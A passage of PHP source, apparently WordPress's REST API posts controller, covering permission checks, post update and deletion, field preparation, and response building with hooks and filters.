to update a post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } $post_type = get_post_type_object( $this->post_type ); if ( $post && ! $this->check_update_permission( $post ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) { return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to update posts as this user.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) { return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make posts sticky.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! $this->check_assign_terms_permission( $request ) ) { return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign the provided terms.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Updates a single post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $valid_check = $this->get_post( $request['id'] ); if ( is_wp_error( $valid_check ) ) { return $valid_check; } $post_before = get_post( $request['id'] ); $post = $this->prepare_item_for_database( $request ); if ( is_wp_error( $post ) ) { return $post; } if ( ! empty( $post->post_status ) ) { $post_status = $post->post_status; } else { $post_status = $post_before->post_status; } /* * `wp_unique_post_slug()` returns the same slug for 'draft' or 'pending' posts. * * To ensure that a unique slug is generated, pass the post data with the 'publish' status. */ if ( ! empty( $post->post_name ) && in_array( $post_status, array( 'draft', 'pending' ), true ) ) { $post_parent = ! empty( $post->post_parent ) ? $post->post_parent : 0; $post->post_name = wp_unique_post_slug( $post->post_name, $post->ID, 'publish', $post->post_type, $post_parent ); } // Convert the post object to an array, otherwise wp_update_post() will expect non-escaped input. $post_id = wp_update_post( wp_slash( (array) $post ), true, false ); if ( is_wp_error( $post_id ) ) { if ( 'db_update_error' === $post_id->get_error_code() ) { $post_id->add_data( array( 'status' => 500 ) ); } else { $post_id->add_data( array( 'status' => 400 ) ); } return $post_id; } $post = get_post( $post_id ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ do_action( "rest_insert_{$this->post_type}", $post, $request, false ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) { set_post_format( $post, $request['format'] ); } if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) { $this->handle_featured_media( $request['featured_media'], $post_id ); } if ( ! empty( $schema['properties']['sticky'] ) && isset( $request['sticky'] ) ) { if ( ! empty( $request['sticky'] ) ) { stick_post( $post_id ); } else { unstick_post( $post_id ); } } if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) { $this->handle_template( $request['template'], $post->ID ); } $terms_update = $this->handle_terms( $post->ID, $request ); if ( is_wp_error( $terms_update ) ) { return $terms_update; } if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $post->ID ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $post = get_post( $post_id ); $fields_update = $this->update_additional_fields_for_object( $post, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); // Filter is fired in WP_REST_Attachments_Controller subclass. if ( 'attachment' === $this->post_type ) { $response = $this->prepare_item_for_response( $post, $request ); return rest_ensure_response( $response ); } /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ do_action( "rest_after_insert_{$this->post_type}", $post, $request, false ); wp_after_insert_post( $post, true, $post_before ); $response = $this->prepare_item_for_response( $post, $request ); return rest_ensure_response( $response ); } /** * Checks if a given request has access to delete a post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( $post && ! $this->check_delete_permission( $post ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this post.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes a single post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } $id = $post->ID; $force = (bool) $request['force']; $supports_trash = ( EMPTY_TRASH_DAYS > 0 ); if ( 'attachment' === $post->post_type ) { $supports_trash = $supports_trash && MEDIA_TRASH; } /** * Filters whether a post is trashable. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_post_trashable` * - `rest_page_trashable` * - `rest_attachment_trashable` * * Pass false to disable Trash support for the post. * * @since 4.7.0 * * @param bool $supports_trash Whether the post type support trashing. * @param WP_Post $post The Post object being considered for trashing support. */ $supports_trash = apply_filters( "rest_{$this->post_type}_trashable", $supports_trash, $post ); if ( ! $this->check_delete_permission( $post ) ) { return new WP_Error( 'rest_user_cannot_delete_post', __( 'Sorry, you are not allowed to delete this post.' ), array( 'status' => rest_authorization_required_code() ) ); } $request->set_param( 'context', 'edit' ); // If we're forcing, then delete permanently. if ( $force ) { $previous = $this->prepare_item_for_response( $post, $request ); $result = wp_delete_post( $id, true ); $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); } else { // If we don't support trashing for this type, error out. if ( ! $supports_trash ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( "The post does not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } // Otherwise, only trash if we haven't already. if ( 'trash' === $post->post_status ) { return new WP_Error( 'rest_already_trashed', __( 'The post has already been deleted.' ), array( 'status' => 410 ) ); } /* * (Note that internally this falls through to `wp_delete_post()` * if the Trash is disabled.) */ $result = wp_trash_post( $id ); $post = get_post( $id ); $response = $this->prepare_item_for_response( $post, $request ); } if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) ); } /** * Fires immediately after a single post is deleted or trashed via the REST API. * * They dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_delete_post` * - `rest_delete_page` * - `rest_delete_attachment` * * @since 4.7.0 * * @param WP_Post $post The deleted or trashed post. * @param WP_REST_Response $response The response data. * @param WP_REST_Request $request The request sent to the API. */ do_action( "rest_delete_{$this->post_type}", $post, $response, $request ); return $response; } /** * Determines the allowed query_vars for a get_items() response and prepares * them for WP_Query. * * @since 4.7.0 * * @param array $prepared_args Optional. Prepared WP_Query arguments. Default empty array. * @param WP_REST_Request $request Optional. Full details about the request. * @return array Items query arguments. */ protected function prepare_items_query( $prepared_args = array(), $request = null ) { $query_args = array(); if ( ! is_array( $prepared_args ) ) { $prepared_args = array(); } foreach ( $prepared_args as $key => $value ) { /** * Filters the query_vars used in get_items() for the constructed query. * * The dynamic portion of the hook name, `$key`, refers to the query_var key. * * @since 4.7.0 * * @param string $value The query_var value. */ $query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } if ( 'post' !== $this->post_type || ! isset( $query_args['ignore_sticky_posts'] ) ) { $query_args['ignore_sticky_posts'] = true; } // Map to proper WP_Query orderby param. if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) { $orderby_mappings = array( 'id' => 'ID', 'include' => 'post__in', 'slug' => 'post_name', 'include_slugs' => 'post_name__in', ); if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) { $query_args['orderby'] = $orderby_mappings[ $request['orderby'] ]; } } return $query_args; } /** * Checks the post_date_gmt or modified_gmt and prepare any post or * modified date for single post output. * * @since 4.7.0 * * @param string $date_gmt GMT publication time. * @param string|null $date Optional. Local publication time. Default null. * @return string|null ISO8601/RFC3339 formatted datetime. */ protected function prepare_date_response( $date_gmt, $date = null ) { // Use the date if passed. if ( isset( $date ) ) { return mysql_to_rfc3339( $date ); } // Return null if $date_gmt is empty/zeros. if ( '0000-00-00 00:00:00' === $date_gmt ) { return null; } // Return the formatted datetime. return mysql_to_rfc3339( $date_gmt ); } /** * Prepares a single post for create or update. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return stdClass|WP_Error Post object or WP_Error. */ protected function prepare_item_for_database( $request ) { $prepared_post = new stdClass(); $current_status = ''; // Post ID. if ( isset( $request['id'] ) ) { $existing_post = $this->get_post( $request['id'] ); if ( is_wp_error( $existing_post ) ) { return $existing_post; } $prepared_post->ID = $existing_post->ID; $current_status = $existing_post->post_status; } $schema = $this->get_item_schema(); // Post title. if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) { if ( is_string( $request['title'] ) ) { $prepared_post->post_title = $request['title']; } elseif ( ! empty( $request['title']['raw'] ) ) { $prepared_post->post_title = $request['title']['raw']; } } // Post content. if ( ! empty( $schema['properties']['content'] ) && isset( $request['content'] ) ) { if ( is_string( $request['content'] ) ) { $prepared_post->post_content = $request['content']; } elseif ( isset( $request['content']['raw'] ) ) { $prepared_post->post_content = $request['content']['raw']; } } // Post excerpt. if ( ! empty( $schema['properties']['excerpt'] ) && isset( $request['excerpt'] ) ) { if ( is_string( $request['excerpt'] ) ) { $prepared_post->post_excerpt = $request['excerpt']; } elseif ( isset( $request['excerpt']['raw'] ) ) { $prepared_post->post_excerpt = $request['excerpt']['raw']; } } // Post type. if ( empty( $request['id'] ) ) { // Creating new post, use default type for the controller. $prepared_post->post_type = $this->post_type; } else { // Updating a post, use previous type. $prepared_post->post_type = get_post_type( $request['id'] ); } $post_type = get_post_type_object( $prepared_post->post_type ); // Post status. if ( ! empty( $schema['properties']['status'] ) && isset( $request['status'] ) && ( ! $current_status || $current_status !== $request['status'] ) ) { $status = $this->handle_status_param( $request['status'], $post_type ); if ( is_wp_error( $status ) ) { return $status; } $prepared_post->post_status = $status; } // Post date. if ( ! empty( $schema['properties']['date'] ) && ! empty( $request['date'] ) ) { $current_date = isset( $prepared_post->ID ) ? get_post( $prepared_post->ID )->post_date : false; $date_data = rest_get_date_with_gmt( $request['date'] ); if ( ! empty( $date_data ) && $current_date !== $date_data[0] ) { list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data; $prepared_post->edit_date = true; } } elseif ( ! empty( $schema['properties']['date_gmt'] ) && ! empty( $request['date_gmt'] ) ) { $current_date = isset( $prepared_post->ID ) ? get_post( $prepared_post->ID )->post_date_gmt : false; $date_data = rest_get_date_with_gmt( $request['date_gmt'], true ); if ( ! empty( $date_data ) && $current_date !== $date_data[1] ) { list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data; $prepared_post->edit_date = true; } } /* * Sending a null date or date_gmt value resets date and date_gmt to their * default values (`0000-00-00 00:00:00`). */ if ( ( ! empty( $schema['properties']['date_gmt'] ) && $request->has_param( 'date_gmt' ) && null === $request['date_gmt'] ) || ( ! empty( $schema['properties']['date'] ) && $request->has_param( 'date' ) && null === $request['date'] ) ) { $prepared_post->post_date_gmt = null; $prepared_post->post_date = null; } // Post slug. if ( ! empty( $schema['properties']['slug'] ) && isset( $request['slug'] ) ) { $prepared_post->post_name = $request['slug']; } // Author. if ( ! empty( $schema['properties']['author'] ) && ! empty( $request['author'] ) ) { $post_author = (int) $request['author']; if ( get_current_user_id() !== $post_author ) { $user_obj = get_userdata( $post_author ); if ( ! $user_obj ) { return new WP_Error( 'rest_invalid_author', __( 'Invalid author ID.' ), array( 'status' => 400 ) ); } } $prepared_post->post_author = $post_author; } // Post password. if ( ! empty( $schema['properties']['password'] ) && isset( $request['password'] ) ) { $prepared_post->post_password = $request['password']; if ( '' !== $request['password'] ) { if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) { return new WP_Error( 'rest_invalid_field', __( 'A post can not be sticky and have a password.' ), array( 'status' => 400 ) ); } if ( ! empty( $prepared_post->ID ) && is_sticky( $prepared_post->ID ) ) { return new WP_Error( 'rest_invalid_field', __( 'A sticky post can not be password protected.' ), array( 'status' => 400 ) ); } } } if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) { if ( ! empty( $prepared_post->ID ) && post_password_required( $prepared_post->ID ) ) { return new WP_Error( 'rest_invalid_field', __( 'A password protected post can not be set to sticky.' ), array( 'status' => 400 ) ); } } // Parent. if ( ! empty( $schema['properties']['parent'] ) && isset( $request['parent'] ) ) { if ( 0 === (int) $request['parent'] ) { $prepared_post->post_parent = 0; } else { $parent = get_post( (int) $request['parent'] ); if ( empty( $parent ) ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post parent ID.' ), array( 'status' => 400 ) ); } $prepared_post->post_parent = (int) $parent->ID; } } // Menu order. if ( ! empty( $schema['properties']['menu_order'] ) && isset( $request['menu_order'] ) ) { $prepared_post->menu_order = (int) $request['menu_order']; } // Comment status. if ( ! empty( $schema['properties']['comment_status'] ) && ! empty( $request['comment_status'] ) ) { $prepared_post->comment_status = $request['comment_status']; } // Ping status. if ( ! empty( $schema['properties']['ping_status'] ) && ! empty( $request['ping_status'] ) ) { $prepared_post->ping_status = $request['ping_status']; } if ( ! empty( $schema['properties']['template'] ) ) { // Force template to null so that it can be handled exclusively by the REST controller. $prepared_post->page_template = null; } /** * Applies Block Hooks to content-like post types. * * Content-like post types are those that support the editor and would benefit * from Block Hooks functionality. This replaces the individual post type filters * that were previously hardcoded in default-filters.php. * * @since 7.0.0 */ $content_like_post_types = array( 'post', 'page', 'wp_block', 'wp_navigation' ); /** * Filters which post types should have Block Hooks applied. * * Allows themes and plugins to add or remove post types that should * have Block Hooks functionality enabled in the REST API. * * @since 7.0.0 * * @param string[] $content_like_post_types Array of post type names that support Block Hooks. * @param string $post_type The current post type being processed. * @param stdClass|WP_Post $prepared_post The prepared post object. */ $content_like_post_types = apply_filters( 'rest_block_hooks_post_types', $content_like_post_types, $this->post_type, $prepared_post ); if ( in_array( $this->post_type, $content_like_post_types, true ) ) { $prepared_post = update_ignored_hooked_blocks_postmeta( $prepared_post ); } /** * Filters a post before it is inserted via the REST API. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_pre_insert_post` * - `rest_pre_insert_page` * - `rest_pre_insert_attachment` * * @since 4.7.0 * * @param stdClass $prepared_post An object representing a single post prepared * for inserting or updating the database. * @param WP_REST_Request $request Request object. */ return apply_filters( "rest_pre_insert_{$this->post_type}", $prepared_post, $request ); } /** * Checks whether the status is valid for the given post. * * Allows for sending an update request with the current status, even if that status would not be acceptable. * * @since 5.6.0 * * @param string $status The provided status. * @param WP_REST_Request $request The request object. * @param string $param The parameter name. * @return true|WP_Error True if the status is valid, or WP_Error if not. */ public function check_status( $status, $request, $param ) { if ( $request['id'] ) { $post = $this->get_post( $request['id'] ); if ( ! is_wp_error( $post ) && $post->post_status === $status ) { return true; } } $args = $request->get_attributes()['args'][ $param ]; return rest_validate_value_from_schema( $status, $args, $param ); } /** * Determines validity and normalizes the given status parameter. * * @since 4.7.0 * * @param string $post_status Post status. * @param WP_Post_Type $post_type Post type. * @return string|WP_Error Post status or WP_Error if lacking the proper permission. */ protected function handle_status_param( $post_status, $post_type ) { switch ( $post_status ) { case 'draft': case 'pending': break; case 'private': if ( ! current_user_can( $post_type->cap->publish_posts ) ) { return new WP_Error( 'rest_cannot_publish', __( 'Sorry, you are not allowed to create private posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'publish': case 'future': if ( ! current_user_can( $post_type->cap->publish_posts ) ) { return new WP_Error( 'rest_cannot_publish', __( 'Sorry, you are not allowed to publish posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) ); } break; default: if ( ! get_post_status_object( $post_status ) ) { $post_status = 'draft'; } break; } return $post_status; } /** * Determines the featured media based on a request param. * * @since 4.7.0 * * @param int $featured_media Featured Media ID. * @param int $post_id Post ID. * @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error. */ protected function handle_featured_media( $featured_media, $post_id ) { $featured_media = (int) $featured_media; if ( $featured_media ) { $result = set_post_thumbnail( $post_id, $featured_media ); if ( $result ) { return true; } else { return new WP_Error( 'rest_invalid_featured_media', __( 'Invalid featured media ID.' ), array( 'status' => 400 ) ); } } else { return delete_post_thumbnail( $post_id ); } } /** * Checks whether the template is valid for the given post. * * @since 4.9.0 * * @param string $template Page template filename. * @param WP_REST_Request $request Request. * @return true|WP_Error True if template is still valid or if the same as existing value, or a WP_Error if template not supported. */ public function check_template( $template, $request ) { if ( ! $template ) { return true; } if ( $request['id'] ) { $post = get_post( $request['id'] ); $current_template = get_page_template_slug( $request['id'] ); } else { $post = null; $current_template = ''; } // Always allow for updating a post to the same template, even if that template is no longer supported. if ( $template === $current_template ) { return true; } // If this is a create request, get_post() will return null and wp theme will fallback to the passed post type. $allowed_templates = wp_get_theme()->get_page_templates( $post, $this->post_type ); if ( isset( $allowed_templates[ $template ] ) ) { return true; } return new WP_Error( 'rest_invalid_param', /* translators: 1: Parameter, 2: List of valid values. */ sprintf( __( '%1$s is not one of %2$s.' ), 'template', implode( ', ', array_keys( $allowed_templates ) ) ) ); } /** * Sets the template for a post. * * @since 4.7.0 * @since 4.9.0 Added the `$validate` parameter. * * @param string $template Page template filename. * @param int $post_id Post ID. * @param bool $validate Whether to validate that the template selected is valid. */ public function handle_template( $template, $post_id, $validate = false ) { if ( $validate && ! array_key_exists( $template, wp_get_theme()->get_page_templates( get_post( $post_id ) ) ) ) { $template = ''; } update_post_meta( $post_id, '_wp_page_template', $template ); } /** * Updates the post's terms from a REST request. * * @since 4.7.0 * * @param int $post_id The post ID to update the terms form. * @param WP_REST_Request $request The request object with post and terms data. * @return null|WP_Error WP_Error on an error assigning any of the terms, otherwise null. */ protected function handle_terms( $post_id, $request ) { $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; if ( ! isset( $request[ $base ] ) ) { continue; } $result = wp_set_object_terms( $post_id, $request[ $base ], $taxonomy->name ); if ( is_wp_error( $result ) ) { return $result; } } return null; } /** * Checks whether current user can assign all terms sent with the current request. * * @since 4.7.0 * * @param WP_REST_Request $request The request object with post and terms data. * @return bool Whether the current user can assign the provided terms. */ protected function check_assign_terms_permission( $request ) { $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; if ( ! isset( $request[ $base ] ) ) { continue; } foreach ( (array) $request[ $base ] as $term_id ) { // Invalid terms will be rejected later. if ( ! get_term( $term_id, $taxonomy->name ) ) { continue; } if ( ! current_user_can( 'assign_term', (int) $term_id ) ) { return false; } } } return true; } /** * Checks if a given post type can be viewed or managed. * * @since 4.7.0 * * @param WP_Post_Type|string $post_type Post type name or object. * @return bool Whether the post type is allowed in REST. */ protected function check_is_post_type_allowed( $post_type ) { if ( ! is_object( $post_type ) ) { $post_type = get_post_type_object( $post_type ); } if ( ! empty( $post_type ) && ! empty( $post_type->show_in_rest ) ) { return true; } return false; } /** * Checks if a post can be read. * * Correctly handles posts with the inherit status. * * @since 4.7.0 * * @param WP_Post $post Post object. * @return bool Whether the post can be read. */ public function check_read_permission( $post ) { $post_type = get_post_type_object( $post->post_type ); if ( ! $this->check_is_post_type_allowed( $post_type ) ) { return false; } // Is the post readable? if ( 'publish' === $post->post_status || current_user_can( 'read_post', $post->ID ) ) { return true; } $post_status_obj = get_post_status_object( $post->post_status ); if ( $post_status_obj && $post_status_obj->public ) { return true; } // Can we read the parent if we're inheriting? if ( 'inherit' === $post->post_status && $post->post_parent > 0 ) { $parent = get_post( $post->post_parent ); if ( $parent ) { return $this->check_read_permission( $parent ); } } /* * If there isn't a parent, but the status is set to inherit, assume * it's published (as per get_post_status()). */ if ( 'inherit' === $post->post_status ) { return true; } return false; } /** * Checks if a post can be edited. * * @since 4.7.0 * * @param WP_Post $post Post object. * @return bool Whether the post can be edited. */ protected function check_update_permission( $post ) { $post_type = get_post_type_object( $post->post_type ); if ( ! $this->check_is_post_type_allowed( $post_type ) ) { return false; } return current_user_can( 'edit_post', $post->ID ); } /** * Checks if a post can be created. * * @since 4.7.0 * * @param WP_Post $post Post object. * @return bool Whether the post can be created. */ protected function check_create_permission( $post ) { $post_type = get_post_type_object( $post->post_type ); if ( ! $this->check_is_post_type_allowed( $post_type ) ) { return false; } return current_user_can( $post_type->cap->create_posts ); } /** * Checks if a post can be deleted. * * @since 4.7.0 * * @param WP_Post $post Post object. * @return bool Whether the post can be deleted. */ protected function check_delete_permission( $post ) { $post_type = get_post_type_object( $post->post_type ); if ( ! $this->check_is_post_type_allowed( $post_type ) ) { return false; } return current_user_can( 'delete_post', $post->ID ); } /** * Prepares a single post output for response. * * @since 4.7.0 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support. * * @global WP_Post $post Global post object. * * @param WP_Post $item Post object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $post = $item; $GLOBALS['post'] = $post; setup_postdata( $post ); // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ return apply_filters( "rest_prepare_{$this->post_type}", new WP_REST_Response( array() ), $post, $request ); } $fields = $this->get_fields_for_response( $request ); // Base fields for every post. $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $post->ID; } if ( rest_is_field_included( 'date', $fields ) ) { $data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date ); } if ( rest_is_field_included( 'date_gmt', $fields ) ) { /* * For drafts, `post_date_gmt` may not be set, indicating that the date * of the draft should be updated each time it is saved (see #38883). * In this case, shim the value based on the `post_date` field * with the site's timezone offset applied. */ if ( '0000-00-00 00:00:00' === $post->post_date_gmt ) { $post_date_gmt = get_gmt_from_date( $post->post_date ); } else { $post_date_gmt = $post->post_date_gmt; } $data['date_gmt'] = $this->prepare_date_response( $post_date_gmt ); } if ( rest_is_field_included( 'guid', $fields ) ) { $data['guid'] = array( /** This filter is documented in wp-includes/post-template.php */ 'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ), 'raw' => $post->guid, ); } if ( rest_is_field_included( 'modified', $fields ) ) { $data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified ); } if ( rest_is_field_included( 'modified_gmt', $fields ) ) { /* * For drafts, `post_modified_gmt` may not be set (see `post_date_gmt` comments * above). In this case, shim the value based on the `post_modified` field * with the site's timezone offset applied. */ if ( '0000-00-00 00:00:00' === $post->post_modified_gmt ) { $post_modified_gmt = gmdate( 'Y-m-d H:i:s', strtotime( $post->post_modified ) - (int) ( (float) get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ); } else { $post_modified_gmt = $post->post_modified_gmt; } $data['modified_gmt'] = $this->prepare_date_response( $post_modified_gmt ); } if ( rest_is_field_included( 'password', $fields ) ) { $data['password'] = $post->post_password; } if ( rest_is_field_included( 'slug', $fields ) ) { $data['slug'] = $post->post_name; } if ( rest_is_field_included( 'status', $fields ) ) { $data['status'] = $post->post_status; } if ( rest_is_field_included( 'type', $fields ) ) { $data['type'] = $post->post_type; } if ( rest_is_field_included( 'link', $fields ) ) { $data['link'] = get_permalink( $post->ID ); } if ( rest_is_field_included( 'title', $fields ) ) { $data['title'] = array(); } if ( rest_is_field_included( 'title.raw', $fields ) ) { $data['title']['raw'] = $post->post_title; } if ( rest_is_field_included( 'title.rendered', $fields ) ) { add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); add_filter( 'private_title_format', array( $this, 'protected_title_format' ) ); $data['title']['rendered'] = get_the_title( $post->ID ); remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) ); } $has_password_filter = false; if ( $this->can_access_password_content( $post, $request ) ) { $this->password_check_passed[ $post->ID ] = true; // Allow access to the post, permissions already checked before. add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 ); $has_password_filter = true; } if ( rest_is_field_included( 'content', $fields ) ) { $data['content'] = array(); } if ( rest_is_field_included( 'content.raw', $fields ) ) { $data['content']['raw'] = $post->post_content; } if ( rest_is_field_included( 'content.rendered', $fields ) ) { /** This filter is documented in wp-includes/post-template.php */ $data['content']['rendered'] = post_password_required( $post ) ? '' : apply_filters( 'the_content', $post->post_content ); } if ( rest_is_field_included( 'content.protected', $fields ) ) { $data['content']['protected'] = (bool) $post->post_password; } if ( rest_is_field_included( 'content.block_version', $fields ) ) { $data['content']['block_version'] = block_version( $post->post_content ); } if ( rest_is_field_included( 'excerpt', $fields ) ) { if ( isset( $request['excerpt_length'] ) ) { $excerpt_length = $request['excerpt_length']; $override_excerpt_length = static function () use ( $excerpt_length ) { return $excerpt_length; }; add_filter( 'excerpt_length', $override_excerpt_length, PHP_INT_MAX ); } /** This filter is documented in wp-includes/post-template.php */ $excerpt = apply_filters( 'get_the_excerpt', $post->post_excerpt, $post ); /** This filter is documented in wp-includes/post-template.php */ $excerpt = apply_filters( 'the_excerpt', $excerpt ); $data['excerpt'] = array( 'raw' => $post->post_excerpt, 'rendered' => post_password_required( $post ) ? '' : $excerpt, 'protected' => (bool) $post->post_password, ); if ( isset( $override_excerpt_length ) ) { remove_filter( 'excerpt_length', $override_excerpt_length, PHP_INT_MAX ); } } if ( $has_password_filter ) { // Reset filter. remove_filter( 'post_password_required', array( $this, 'check_password_required' ) ); } if ( rest_is_field_included( 'author', $fields ) ) { $data['author'] = (int) $post->post_author; } if ( rest_is_field_included( 'featured_media', $fields ) ) { $data['featured_media'] = (int) get_post_thumbnail_id( $post->ID ); } if ( rest_is_field_included( 'parent', $fields ) ) { $data['parent'] = (int) $post->post_parent; } if ( rest_is_field_included( 'menu_order', $fields ) ) { $data['menu_order'] = (int) $post->menu_order; } if ( rest_is_field_included( 'comment_status', $fields ) ) { $data['comment_status'] = $post->comment_status; } if ( rest_is_field_included( 'ping_status', $fields ) ) { $data['ping_status'] = $post->ping_status; } if ( rest_is_field_included( 'sticky', $fields ) ) { $data['sticky'] = is_sticky( $post->ID ); } if ( rest_is_field_included( 'template', $fields ) ) { $template = get_page_template_slug( $post->ID ); if ( $template ) { $data['template'] = $template; } else { $data['template'] = ''; } } if ( rest_is_field_included( 'format', $fields ) ) { $data['format'] = get_post_format( $post->ID ); // Fill in blank post format. if ( empty( $data['format'] ) ) { $data['format'] = 'standard'; } } if ( rest_is_field_included( 'meta', $fields ) ) { $data['meta'] = $this->meta->get_value( $post->ID, $request ); } $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; if ( rest_is_field_included( $base, $fields ) ) { $terms = get_the_terms( $post, $taxonomy->name ); $data[ $base ] = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array(); } } $post_type_obj = get_post_type_object( $post->post_type ); if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) { $permalink_template_requested = rest_is_field_included( 'permalink_template', $fields ); $generated_slug_requested = rest_is_field_included( 'generated_slug', $fields ); if ( $permalink_template_requested || $generated_slug_requested ) { if ( ! function_exists( 'get_sample_permalink' ) ) { require_once ABSPATH . 'wp-admin/includes/post.php'; } $sample_permalink = get_sample_permalink( $post->ID, $post->post_title, '' ); if ( $permalink_template_requested ) { $data['permalink_template'] = $sample_permalink[0]; } if ( $generated_slug_requested ) { $data['generated_slug'] = $sample_permalink[1]; } } if ( rest_is_field_included( 'class_list', $fields ) ) { $data['class_list'] = get_post_class( array(), $post->ID ); } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $post ); $response->add_links( $links ); if ( ! empty( $links['self']['href'] ) ) { $actions = $this->get_available_actions( $post, $request ); $self = $links['self']['href']; foreach ( $actions as $rel ) { $response->add_link( $rel, $self ); } } } /** * Applies Block Hooks to content-like post types for REST response. * * This replaces the individual post type filters that were previously hardcoded * in default-filters.php. * * @since 7.0.0 */ $content_like_post_types = array( 'post', 'page', 'wp_block', 'wp_navigation' ); /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ $content_like_post_types = apply_filters( 'rest_block_hooks_post_types', $content_like_post_types, $this->post_type, $post ); if ( in_array( $this->post_type, $content_like_post_types, true ) ) { $response = insert_hooked_blocks_into_rest_response( $response, $post ); } /** * Filters the post data for a REST API response. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names 